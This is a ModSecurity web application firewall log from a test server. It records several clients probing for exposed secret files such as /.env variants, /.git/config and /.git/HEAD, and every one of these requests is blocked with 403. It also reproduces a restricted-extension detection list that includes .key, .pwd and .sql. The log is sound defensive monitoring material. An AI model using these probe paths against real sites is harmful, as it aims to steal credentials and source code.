[Tue Feb 24 11:35:28.625704 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkelQAAAAA&quot;]
[Tue Feb 24 11:35:28.625987 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkelQAAAAA&quot;]
[Tue Feb 24 11:35:28.626183 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkelQAAAAA&quot;]
[Tue Feb 24 11:35:28.647897 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkelgAAAAA&quot;]
[Tue Feb 24 11:35:28.648070 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkelgAAAAA&quot;]
[Tue Feb 24 11:35:28.648293 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkelgAAAAA&quot;]
[Tue Feb 24 11:35:28.648487 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkelgAAAAA&quot;]
[Tue Feb 24 11:35:28.762233 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkelwAAAAA&quot;]
[Tue Feb 24 11:35:28.762619 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkelwAAAAA&quot;]
[Tue Feb 24 11:35:28.762917 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkelwAAAAA&quot;]
[Tue Feb 24 11:35:28.856835 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkemAAAAAA&quot;]
[Tue Feb 24 11:35:28.857070 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkemAAAAAA&quot;]
[Tue Feb 24 11:35:28.857279 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkemAAAAAA&quot;]
[Tue Feb 24 11:35:39.779681 2026] [:error] [pid 2297928] [client 185.177.72.60:12136] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ1--wAyjiE6eeP_VL41cgAAAAU&quot;]
[Tue Feb 24 11:35:39.780000 2026] [:error] [pid 2297928] [client 185.177.72.60:12136] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ1--wAyjiE6eeP_VL41cgAAAAU&quot;]
[Tue Feb 24 11:35:39.780181 2026] [:error] [pid 2297928] [client 185.177.72.60:12136] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ1--wAyjiE6eeP_VL41cgAAAAU&quot;]
[Tue Feb 24 11:36:02.253749 2026] [:error] [pid 2297965] [client 185.177.72.60:1074] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ1_Eur69ULlzKdmHDtvWQAAAAg&quot;]
[Tue Feb 24 11:36:02.253987 2026] [:error] [pid 2297965] [client 185.177.72.60:1074] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ1_Eur69ULlzKdmHDtvWQAAAAg&quot;]
[Tue Feb 24 11:36:02.254170 2026] [:error] [pid 2297965] [client 185.177.72.60:1074] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ1_Eur69ULlzKdmHDtvWQAAAAg&quot;]
[Tue Feb 24 11:36:30.761944 2026] [:error] [pid 2297908] [client 185.177.72.60:2608] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ1_LgkMijnMCcBtn74CggAAAAQ&quot;]
[Tue Feb 24 11:36:30.762769 2026] [:error] [pid 2297908] [client 185.177.72.60:2608] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ1_LgkMijnMCcBtn74CggAAAAQ&quot;]
[Tue Feb 24 11:36:30.762970 2026] [:error] [pid 2297908] [client 185.177.72.60:2608] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ1_LgkMijnMCcBtn74CggAAAAQ&quot;]
[Tue Feb 24 12:04:31.573075 2026] [:error] [pid 2297904] [client 96.41.38.202:50308] [client 96.41.38.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ2Fv-97g-gyYBefapkeswAAAAA&quot;]
[Tue Feb 24 12:04:31.573528 2026] [:error] [pid 2297904] [client 96.41.38.202:50308] [client 96.41.38.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ2Fv-97g-gyYBefapkeswAAAAA&quot;]
[Tue Feb 24 12:04:31.573803 2026] [:error] [pid 2297904] [client 96.41.38.202:50308] [client 96.41.38.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ2Fv-97g-gyYBefapkeswAAAAA&quot;]
[Tue Feb 24 12:04:31.755696 2026] [:error] [pid 2297904] [client 96.41.38.202:50308] [client 96.41.38.202] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ2Fv-97g-gyYBefapketAAAAAA&quot;]
[Tue Feb 24 12:04:31.756018 2026] [:error] [pid 2297904] [client 96.41.38.202:50308] [client 96.41.38.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ2Fv-97g-gyYBefapketAAAAAA&quot;]
[Tue Feb 24 12:04:31.756232 2026] [:error] [pid 2297904] [client 96.41.38.202:50308] [client 96.41.38.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ2Fv-97g-gyYBefapketAAAAAA&quot;]
[Tue Feb 24 13:02:10.598668 2026] [:error] [pid 2298153] [client 216.73.216.144:50471] [client 216.73.216.144] ModSecurity: Warning. Pattern match &quot;^$&quot; at REQUEST_HEADERS:user-agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;628&quot;] [id &quot;920330&quot;] [msg &quot;Empty User Agent Header&quot;] [severity &quot;NOTICE&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/PROTOCOL_VIOLATION/EMPTY_HEADER_UA&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/robots.txt&quot;] [unique_id &quot;aZ2TQqKLlNvRc3GcMJvQcwAAAAk&quot;]
[Tue Feb 24 18:47:38.103300 2026] [:error] [pid 2298154] [client 96.41.38.202:50940] [client 96.41.38.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ3kOgQhO3UHYk311RHzWwAAAAo&quot;]
[Tue Feb 24 18:47:38.103625 2026] [:error] [pid 2298154] [client 96.41.38.202:50940] [client 96.41.38.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ3kOgQhO3UHYk311RHzWwAAAAo&quot;]
[Tue Feb 24 18:47:38.103801 2026] [:error] [pid 2298154] [client 96.41.38.202:50940] [client 96.41.38.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ3kOgQhO3UHYk311RHzWwAAAAo&quot;]
